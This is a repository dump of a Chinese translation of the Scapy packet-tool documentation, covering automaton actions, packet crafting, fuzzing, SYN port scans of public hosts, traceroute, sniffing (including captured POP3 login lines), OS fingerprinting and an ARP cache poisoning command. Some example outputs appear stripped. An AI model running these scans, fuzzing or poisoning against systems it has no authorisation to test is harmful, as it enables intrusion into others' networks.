动作是被`ATMT.action`函数结果装饰过的方法。这个函数接受过渡方法绑定他作为第一个参数,并且可选的优先级`prio`作为第二个参数,默认的优先级是0。一个动作方法能被装饰很多次并且被绑定在很多过渡上。 756 | 757 | ```py 758 | class Example(Automaton): 759 | @ATMT.state(initial=1) 760 | def BEGIN(self): 761 | pass 762 | 763 | @ATMT.state(final=1) 764 | def END(self): 765 | pass 766 | 767 | @ATMT.condition(BEGIN, prio=1) 768 | def maybe_go_to_end(self): 769 | if random() > 0.5: 770 | raise self.END() 771 | @ATMT.condition(BEGIN, prio=2) 772 | def certainly_go_to_end(self): 773 | raise self.END() 774 | 775 | @ATMT.action(maybe_go_to_end) 776 | def maybe_action(self): 777 | print "We are lucky..." 778 | @ATMT.action(certainly_go_to_end) 779 | def certainly_action(self): 780 | print "We are not lucky..." 781 | @ATMT.action(maybe_go_to_end, prio=1) 782 | @ATMT.action(certainly_go_to_end, prio=1) 783 | def always_action(self): 784 | print "This wasn't luck!..." 785 | ``` 786 | 787 | 两种可能的输出结果是: 788 | 789 | ``` 790 | >> a=Example() 791 | >>> a.run() 792 | We are not lucky... 793 | This wasn't luck!... 794 | >>> a.run() 795 | We are lucky... 796 | This wasn't luck!... 797 | ``` 798 | 799 | #### 重载方法 800 | 801 | 两种方法通过hooks重载: 802 | 803 | `parse_args()`方法是通过`__init__()`和`run()`提供参数被调用的。使用这些来确定你的自动机的行为。 804 | 805 | `master_filter()`方法被每一时刻嗅探到的数据包所调用,如果自动机感兴趣的话。当工作在一个特殊的协议上时,这将确保这些数据包属于你连接到的一部分,所以你不必在每一个过渡中做明确的检查。 -------------------------------------------------------------------------------- /3.md: -------------------------------------------------------------------------------- 1 | # 使用方法 2 | 3 | > 译者:[Larry](https://github.com/Larryxi) 4 | 5 | > 来源:[Scapy中文使用文档](https://github.com/Larryxi/Scapy_zh-cn/blob/master/README.md) 6 | 7 | > 原文:[Usage](http://www.secdev.org/projects/scapy/doc/usage.html) 8 | 9 | > 协议:[CC BY-NC-SA 2.5](http://creativecommons.org/licenses/by-nc-sa/2.5/) 10 | 11 | 12 | # 0x01 起航Scapy # 13 | 14 | Scapy的交互shell是运行在一个终端会话当中。因为需要root权限才能发送数据包,所以我们在这里使用`sudo` 15 | 16 | ``` 17 | $ sudo scapy 18 | Welcome to Scapy (2.0.1-dev) 19 | >>> 20 | ``` 21 | 22 | 在Windows当中,请打开命令提示符(`cmd.exe`),并确保您拥有管理员权限: 23 | 24 | ``` 25 | C:\>scapy 26 | INFO: No IPv6 support in kernel 27 | WARNING: No route found for IPv6 destination :: (no default route?) 28 | Welcome to Scapy (2.0.1-dev) 29 | >>> 30 | ``` 31 | 32 | 如果您没有安装所有的可选包,Scapy将会告诉你有些功能不可用: 33 | 34 | ``` 35 | INFO: Can't import python gnuplot wrapper . Won't be able to plot. 36 | INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). 37 | ``` 38 | 39 | 虽然没有安装,但发送和接收数据包的基本功能仍能有效。 40 | 41 | # 0x02 互动教程 # 42 | 43 | 44 | 本节将会告诉您一些Scapy的功能。让我们按上文所述打开Scapy,亲自尝试些例子吧。 45 | 46 | ## 第一步 47 | 48 | 让我们来建立一个数据包试一试 49 | 50 | ``` 51 | >>> a=IP(ttl=10) 52 | >>> a 53 | < IP ttl=10 |> 54 | >>> a.src 55 | ’127.0.0.1’ 56 | >>> a.dst="192.168.1.1" 57 | >>> a 58 | < IP ttl=10 dst=192.168.1.1 |> 59 | >>> a.src 60 | ’192.168.8.14’ 61 | >>> del(a.ttl) 62 | >>> a 63 | < IP dst=192.168.1.1 |> 64 | >>> a.ttl 65 | 64 66 | ``` 67 | 68 | ## 堆加层次(OSI参考模型) 69 | 70 | `/`操作符在两层之间起到一个组合的作用。当使用该操作符时,下层可以根据其上层,使它的一个或多个默认字段被重载。(您仍可以赋予您想要的值)一个字符串也可以被用作原料层(`raw layer`)。 71 | 72 | ``` 73 | >>> IP() 74 | 75 | >>> IP()/TCP() 76 | > 77 | >>> Ether()/IP()/TCP() 78 | >> 79 | >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" 80 | >> 81 | >>> Ether()/IP()/IP()/UDP() 82 | >>> 83 | >>> IP(proto=55)/TCP() 84 | > 85 | ``` 86 | 87 | ![](http://www.secdev.org/projects/scapy/doc/_images/fieldsmanagement.png) 88 | 89 | 每一个数据包都可以被建立或分解(注意:在Python中`_`(下划线)是上一条语句执行的结果): 90 | 91 | ``` 92 | >>> str(IP()) 93 | 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' 94 | >>> IP(_) 95 | 97 | >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" 98 | >>> hexdump(a) 99 | 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. 100 | 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# 101 | FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. 102 | 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index 103 | 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 104 | 0A . 105 | >>> b=str(a) 106 | >>> b 107 | '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0 108 | \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00 109 | \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' 110 | >>> c=Ether(b) 111 | >>> c 112 | >>> 117 | ``` 118 | 119 | 我们看到一个分解的数据包将其所有的字段填充。那是因为我认为,附加有原始字符串的字段都有它自身的价值。如果这太冗长,`hide_defaults()`方法将会删除具有默认值的字段: 120 | 121 | ``` 122 | >>> c.hide_defaults() 123 | >>> c 124 | >>> 127 | ``` 128 | 129 | ## 读取PCAP文件 130 | 131 | 你可以从PCAP文件中读取数据包,并将其写入到一个PCAP文件中。 132 | 133 | ``` 134 | >>> a=rdpcap("/spare/captures/isakmp.cap") 135 | >>> a 136 | 137 | ``` 138 | 139 | ## 图形转储(PDF,PS) 140 | 141 | 如果您已经安装PyX,您可以做一个数据包的图形PostScript/ PDF转储(见下面丑陋的PNG图像,PostScript/PDF则具有更好的质量...) 142 | 143 | ``` 144 | >>> a[423].pdfdump(layer_shift=1) 145 | >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1) 146 | ``` 147 | 148 | ![](http://www.secdev.org/projects/scapy/doc/_images/isakmp_dump.png) 149 | 150 | | 命令 | 效果 | 151 | | --- | --- | 152 | | str(pkt) | 组装数据包 | 153 | | hexdump(pkt) | 十六进制转储 | 154 | | ls(pkt) | 显示出字段值的列表 | 155 | | pkt.summary() | 一行摘要 | 156 | | pkt.show() | 针对数据包的展开试图 | 157 | | pkt.show2() | 显示聚合的数据包(例如,计算好了校验和) | 158 | | pkt.sprintf() | 用数据包字段填充格式字符串 | 159 | | pkt.decode_payload_as() | 改变payload的decode方式 | 160 | | pkt.psdump() | 绘制一个解释说明的PostScript图表 | 161 | | pkt.pdfdump() | 绘制一个解释说明的PDF | 162 | | pkt.command() | 返回可以生成数据包的Scapy命令 | 163 | 164 | ## 生成一组数据包 165 | 166 | 目前我们只是生成一个数据包。让我们看看如何轻易地定制一组数据包。整个数据包的每一个字段(甚至是网络层次)都可以是一组。在这里隐含地定义了一组数据包的概念,意即是使用所有区域之间的笛卡尔乘积来生成的一组数据包。 167 | 168 | ``` 169 | >>> a=IP(dst="www.slashdot.org/30") 170 | >>> a 171 | 172 | >>> [p for p in a] 173 | [, , 174 | , ] 175 | >>> b=IP(ttl=[1,2,(5,9)]) 176 | >>> b 177 | 178 | >>> [p for p in b] 179 | [, , , , 180 | , , ] 181 | >>> c=TCP(dport=[80,443]) 182 | >>> [p for p in a/c] 183 | [>, 184 | >, 185 | >, 186 | >, 187 | >, 188 | >, 189 | >, 190 | >] 191 | ``` 192 | 193 | 某些操作(如修改一个数据包中的字符串)无法对于一组数据包使用。在这些情况下,如果您忘记展开您的数据包集合,只有您忘记生成的列表中的第一个元素会被用于组装数据包。 194 | 195 | | 命令 | 效果 | 196 | | --- | --- | 197 | | summary() | 显示一个关于每个数据包的摘要列表 | 198 | | nsummary() | 同上,但规定了数据包数量 | 199 | | conversations() | 显示一个会话图表 | 200 | | show() | 显示首选表示(通常用nsummary()) | 201 | | filter() | 返回一个lambda过滤后的数据包列表 | 202 | | hexdump() | 返回所有数据包的一个hexdump | 203 | | hexraw() | 返回所以数据包Raw layer的hexdump | 204 | | padding() | 返回一个带填充的数据包的hexdump | 205 | | nzpadding() | 返回一个具有非零填充的数据包的hexdump | 206 | | plot() | 规划一个应用到数据包列表的lambda函数 | 207 | | make table() | 根据lambda函数来显示表格 | 208 | 209 | ## 发送数据包 210 | 211 | 现在我们知道了如何处理数据包。让我们来看看如何发送它们。`send()`函数将会在第3层发送数据包。也就是说它会为你处理路由和第2层的数据。`sendp()`函数将会工作在第2层。选择合适的接口和正确的链路层协议都取决于你。 212 | 213 | ``` 214 | >>> send(IP(dst="1.2.3.4")/ICMP()) 215 | . 216 | Sent 1 packets. 217 | >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1") 218 | .... 219 | Sent 4 packets. 220 | >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2) 221 | ................^C 222 | Sent 16 packets. 223 | >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay 224 | ........... 225 | Sent 11 packets. 226 | ``` 227 | 228 | ## Fuzzing 229 | 230 | `fuzz()`函数可以通过一个具有随机值、数据类型合适的对象,来改变任何默认值,但该值不能是被计算的(像校验和那样)。这使得可以快速建立循环模糊化测试模板。在下面的例子中,IP层是正常的,UDP层和NTP层被fuzz。UDP的校验和是正确的,UDP的目的端口被NTP重载为123,而且NTP的版本被更变为4.其他所有的端口将被随机分组: 231 | 232 | ``` 233 | >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) 234 | ................^C 235 | Sent 16 packets. 236 | ``` 237 | 238 | ## 发送和接收数据包(`sr`) 239 | 240 | 现在让我们做一些有趣的事情。`sr()`函数是用来发送数据包和接收应答。该函数返回一对数据包及其应答,还有无应答的数据包。`sr1()`函数是一种变体,用来返回一个应答数据包。发送的数据包必须是第3层报文(IP,ARP等)。`srp()`则是使用第2层报文(以太网,802.3等)。 241 | 242 | ``` 243 | >>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX") 244 | Begin emission: 245 | ...Finished to send 1 packets. 246 | .* 247 | Received 5 packets, got 1 answers, remaining 0 packets 248 | >>> p 249 | >>> 253 | >>> p.show() 254 | ---[ IP ]--- 255 | version = 4L 256 | ihl = 5L 257 | tos = 0x0 258 | len = 39 259 | id = 15489 260 | flags = 261 | frag = 0L 262 | ttl = 42 263 | proto = ICMP 264 | chksum = 0x51dd 265 | src = 66.35.250.151 266 | dst = 192.168.5.21 267 | options = '' 268 | ---[ ICMP ]--- 269 | type = echo-reply 270 | code = 0 271 | chksum = 0xee45 272 | id = 0x0 273 | seq = 0x0 274 | ---[ Raw ]--- 275 | load = 'XXXXXXXXXXX' 276 | ---[ Padding ]--- 277 | load = '\x00\x00\x00\x00' 278 | ``` 279 | 280 | DNS查询(`rd` = recursion desired)。主机192.168.5.1是我的DNS服务器。注意从我Linksys来的非空填充具有Etherleak缺陷: 281 | 282 | ``` 283 | >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) 284 | Begin emission: 285 | Finished to send 1 packets. 286 | ..* 287 | Received 3 packets, got 1 answers, remaining 0 packets 288 | 292 | an= 293 | ns=0 ar=0 |>>> 294 | ``` 295 | 296 | 发送和接收函数族是scapy中的核心部分。它们返回一对两个列表。第一个就是发送的数据包及其应答组成的列表,第二个是无应答数据包组成的列表。为了更好地呈现它们,它们被封装成一个对象,并且提供了一些便于操作的方法: 297 | 298 | ``` 299 | >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) 300 | Received 6 packets, got 3 answers, remaining 0 packets 301 | (, ) 302 | >>> ans,unans=_ 303 | >>> ans.summary() 304 | IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding 305 | IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding 306 | IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding 307 | ``` 308 | 309 | 如果对于应答数据包有速度限制,你可以通过`inter`参数来设置两个数据包之间等待的时间间隔。如果有些数据包丢失了,或者设置时间间隔不足以满足要求,你可以重新发送所有无应答数据包。你可以简单地对无应答数据包列表再调用一遍函数,或者去设置`retry`参数。如果retry设置为3,scapy会对无应答的数据包重复发送三次。如果retry设为-3,scapy则会一直发送无应答的数据包,直到。`timeout`参数设置在最后一个数据包发出去之后的等待时间: 310 | 311 | ## SYN Scans 312 | 313 | 在Scapy提示符中执行一下命令,可以对经典的SYN Scan初始化: 314 | 315 | ``` 316 | >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S")) 317 | ``` 318 | 319 | 以上向Google的80端口发送了一个SYN数据包,会在接收到一个应答后退出: 320 | 321 | ``` 322 | Begin emission: 323 | .Finished to send 1 packets. 324 | * 325 | Received 2 packets, got 1 answers, remaining 0 packets 326 | >> 331 | ``` 332 | 333 | 从以上的输出中可以看出,Google返回了一个SA(SYN-ACK)标志位,表示80端口是open的。 334 | 335 | 使用其他标志位扫描一下系统的440到443端口: 336 | 337 | ``` 338 | >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S")) 339 | ``` 340 | 341 | 或者 342 | 343 | ``` 344 | >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S")) 345 | ``` 346 | 347 | 可以对收集的数据包进行摘要(summary),来快速地浏览响应: 348 | 349 | ``` 350 | >>> ans,unans = _ 351 | >>> ans.summary() 352 | IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding 353 | IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding 354 | IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding 355 | IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding 356 | ``` 357 | 358 | 以上显示了我们在扫描过程中的请求应答对。我们也可以用一个循环只显示我们感兴趣的信息: 359 | 360 | ``` 361 | >>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") ) 362 | 440 RA 363 | 441 RA 364 | 442 RA 365 | https SA 366 | ``` 367 | 368 | 可以使用`make_table()`函数建立一个表格,更好地显示多个目标信息: 369 | 370 | ``` 371 | >>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S")) 372 | Begin emission: 373 | .......*.**.......Finished to send 9 packets. 374 | **.*.*..*.................. 375 | Received 362 packets, got 8 answers, remaining 1 packets 376 | >>> ans.make_table( 377 | ... lambda(s,r): (s.dst, s.dport, 378 | ... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))) 379 | 66.35.250.150 192.168.1.1 216.109.112.135 380 | 22 66.35.250.150 - dest-unreach RA - 381 | 80 SA RA SA 382 | 443 SA SA SA 383 | ``` 384 | 385 | 在以上的例子中,如果接收到作为响应的ICMP数据包而不是预期的TCP数据包,就会打印出ICMP差错类型(error type)。 386 | 387 | 对于更大型的扫描,我们可能对某个响应感兴趣,下面的例子就只显示设置了"SA"标志位的数据包: 388 | 389 | ``` 390 | >>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA") 391 | 0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA 392 | ``` 393 | 394 | 如果我们想对响应进行专业分析,我们可以使用使用以下的命令显示哪些端口是open的: 395 | 396 | ``` 397 | >>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open")) 398 | https is open 399 | ``` 400 | 401 | 对于更大型的扫描,我们可以建立一个端口开放表: 402 | 403 | ``` 404 | >>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r): 405 | ... (s.dst, s.dport, "X")) 406 | 66.35.250.150 192.168.1.1 216.109.112.135 407 | 80 X - X 408 | 443 X X X 409 | ``` 410 | 411 | 如果以上的方法还不够,Scapy还包含一个`report_ports()`函数,该函数不仅可以自动化SYN scan,而且还会对收集的结果以LaTeX形式输出: 412 | 413 | ``` 414 | >>> report_ports("192.168.1.1",(440,443)) 415 | Begin emission: 416 | ...*.**Finished to send 4 packets. 417 | * 418 | Received 8 packets, got 4 answers, remaining 0 packets 419 | '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440 420 | & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & 421 | TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n' 422 | ``` 423 | 424 | ## TCP traceroute 425 | 426 | TCP路由追踪: 427 | 428 | ``` 429 | >>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) 430 | *****.******.*.***..*.**Finished to send 22 packets. 431 | ***...... 432 | Received 33 packets, got 21 answers, remaining 1 packets 433 | >>> for snd,rcv in ans: 434 | ... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP) 435 | ... 436 | 5 194.51.159.65 0 437 | 6 194.51.159.49 0 438 | 4 194.250.107.181 0 439 | 7 193.251.126.34 0 440 | 8 193.251.126.154 0 441 | 9 193.251.241.89 0 442 | 10 193.251.241.110 0 443 | 11 193.251.241.173 0 444 | 13 208.172.251.165 0 445 | 12 193.251.241.173 0 446 | 14 208.172.251.165 0 447 | 15 206.24.226.99 0 448 | 16 206.24.238.34 0 449 | 17 173.109.66.90 0 450 | 18 173.109.88.218 0 451 | 19 173.29.39.101 1 452 | 20 173.29.39.101 1 453 | 21 173.29.39.101 1 454 | 22 173.29.39.101 1 455 | 23 173.29.39.101 1 456 | 24 173.29.39.101 1 457 | ``` 458 | 459 | 注意:TCP路由跟踪和其他高级函数早已被构造好了: 460 | 461 | ``` 462 | >>> lsc() 463 | sr : Send and receive packets at layer 3 464 | sr1 : Send packets at layer 3 and return only the first answer 465 | srp : Send and receive packets at layer 2 466 | srp1 : Send and receive packets at layer 2 and return only the first answer 467 | srloop : Send a packet at layer 3 in loop and print the answer each time 468 | srploop : Send a packet at layer 2 in loop and print the answer each time 469 | sniff : Sniff packets 470 | p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? 471 | arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple 472 | send : Send packets at layer 3 473 | sendp : Send packets at layer 2 474 | traceroute : Instant TCP traceroute 475 | arping : Send ARP who-has requests to determine which hosts are up 476 | ls : List available layers, or infos on a given layer 477 | lsc : List user commands 478 | queso : Queso OS fingerprinting 479 | nmap_fp : nmap fingerprinting 480 | report_ports : portscan a target and output a LaTeX table 481 | dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" 482 | dyndns_del : Send a DNS delete message to a nameserver for "name" 483 | [...] 484 | ``` 485 | 486 | ## 配置高级sockets 487 | 488 | 发送和接收数据包的过程是相当复杂的。 489 | 490 | ## Sniffing 491 | 492 | 我们可以简单地捕获数据包,或者是克隆tcpdump或tethereal的功能。如果没有指定interface,则会 在所有的interface上进行嗅探: 493 | 494 | ``` 495 | >>> sniff(filter="icmp and host 66.35.250.151", count=2) 496 | 497 | >>> a=_ 498 | >>> a.nsummary() 499 | 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 500 | 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 501 | >>> a[1] 502 | >>> 508 | >>> sniff(iface="wifi0", prn=lambda x: x.summary()) 509 | 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 510 | 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 511 | 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133 512 | 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 513 | 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 514 | 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 515 | 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication 516 | 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication 517 | 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149 518 | 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149 519 | 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 520 | 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 521 | 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding 522 | 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding 523 | 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw 524 | 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw 525 | >>> sniff(iface="eth1", prn=lambda x: x.show()) 526 | ---[ Ethernet ]--- 527 | dst = 00:ae:f3:52:aa:d1 528 | src = 00:02:15:37:a2:44 529 | type = 0x800 530 | ---[ IP ]--- 531 | version = 4L 532 | ihl = 5L 533 | tos = 0x0 534 | len = 84 535 | id = 0 536 | flags = DF 537 | frag = 0L 538 | ttl = 64 539 | proto = ICMP 540 | chksum = 0x3831 541 | src = 192.168.5.21 542 | dst = 66.35.250.151 543 | options = '' 544 | ---[ ICMP ]--- 545 | type = echo-request 546 | code = 0 547 | chksum = 0x89d9 548 | id = 0xc245 549 | seq = 0x0 550 | ---[ Raw ]--- 551 | load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' 552 | ---[ Ethernet ]--- 553 | dst = 00:02:15:37:a2:44 554 | src = 00:ae:f3:52:aa:d1 555 | type = 0x800 556 | ---[ IP ]--- 557 | version = 4L 558 | ihl = 5L 559 | tos = 0x0 560 | len = 84 561 | id = 2070 562 | flags = 563 | frag = 0L 564 | ttl = 42 565 | proto = ICMP 566 | chksum = 0x861b 567 | src = 66.35.250.151 568 | dst = 192.168.5.21 569 | options = '' 570 | ---[ ICMP ]--- 571 | type = echo-reply 572 | code = 0 573 | chksum = 0x91d9 574 | id = 0xc245 575 | seq = 0x0 576 | ---[ Raw ]--- 577 | load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' 578 | ---[ Padding ]--- 579 | load = '\n_\x00\x0b' 580 | ``` 581 | 582 | 对于控制输出信息,我们可以使用`sprintf()`函数: 583 | 584 | ``` 585 | >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}")) 586 | 192.168.1.100 -> 64.233.167.99 587 | 588 | 64.233.167.99 -> 192.168.1.100 589 | 590 | 192.168.1.100 -> 64.233.167.99 591 | 592 | 192.168.1.100 -> 64.233.167.99 593 | 'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 594 | (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) 595 | Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml, 596 | text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: 597 | en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: 598 | ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: 599 | keep-alive\r\nCache-Control: max-age=0\r\n\r\n' 600 | ``` 601 | 602 | 我们可以嗅探并进行被动操作系统指纹识别: 603 | 604 | ``` 605 | >>> p 606 | >> 612 | >>> load_module("p0f") 613 | >>> p0f(p) 614 | (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) 615 | >>> a=sniff(prn=prnp0f) 616 | (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) 617 | (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) 618 | (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)']) 619 | (1.0, ['Windows 2000 (9)']) 620 | ``` 621 | 622 | 猜测操作系统版本前的数字为猜测的精确度。 623 | 624 | ## Filters 625 | 626 | 演示一下bpf过滤器和sprintf()方法: 627 | 628 | ``` 629 | >>> a=sniff(filter="tcp and ( port 25 or port 110 )", 630 | prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%")) 631 | 192.168.8.10:47226 -> 213.228.0.14:110 S : 632 | 213.228.0.14:110 -> 192.168.8.10:47226 SA : 633 | 192.168.8.10:47226 -> 213.228.0.14:110 A : 634 | 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr> 635 | 636 | 192.168.8.10:47226 -> 213.228.0.14:110 A : 637 | 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto 638 | 639 | 213.228.0.14:110 -> 192.168.8.10:47226 A : 640 | 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK 641 | 642 | 192.168.8.10:47226 -> 213.228.0.14:110 A : 643 | 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata 644 | 645 | 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed 646 | 647 | 192.168.8.10:47226 -> 213.228.0.14:110 A : 648 | 213.228.0.14:110 -> 192.168.8.10:47226 FA : 649 | 192.168.8.10:47226 -> 213.228.0.14:110 FA : 650 | 213.228.0.14:110 -> 192.168.8.10:47226 A : 651 | ``` 652 | 653 | ## 在循环中接收和发送 654 | 655 | 这儿有一个例子来实现类似(h)ping的功能:你一直发送同样的数据包集合来观察是否发生变化: 656 | 657 | ``` 658 | >>> srloop(IP(dst="www.target.com/30")/TCP()) 659 | RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding 660 | fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S 661 | IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S 662 | IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S 663 | RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding 664 | fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S 665 | IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S 666 | IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S 667 | RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding 668 | fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S 669 | IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S 670 | IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S 671 | RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding 672 | fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S 673 | IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S 674 | IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S 675 | ``` 676 | 677 | ## 导入和导出数据 678 | 679 | ### PCAP 680 | 681 | 通常可以将数据包保存为pcap文件以备后用,或者是供其他的应用程序使用: 682 | 683 | ``` 684 | >>> wrpcap("temp.cap",pkts) 685 | ``` 686 | 687 | 还原之前保存的pcap文件: 688 | 689 | ``` 690 | >>> pkts = rdpcap("temp.cap") 691 | ``` 692 | 693 | 或者 694 | 695 | ``` 696 | >>> pkts = rdpcap("temp.cap") 697 | ``` 698 | 699 | ### Hexdump 700 | 701 | Scapy允许你以不同的十六进制格式输出编码的数据包。 702 | 703 | 使用`hexdump()`函数会以经典的hexdump格式输出数据包: 704 | 705 | ``` 706 | >>> hexdump(pkt) 707 | 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 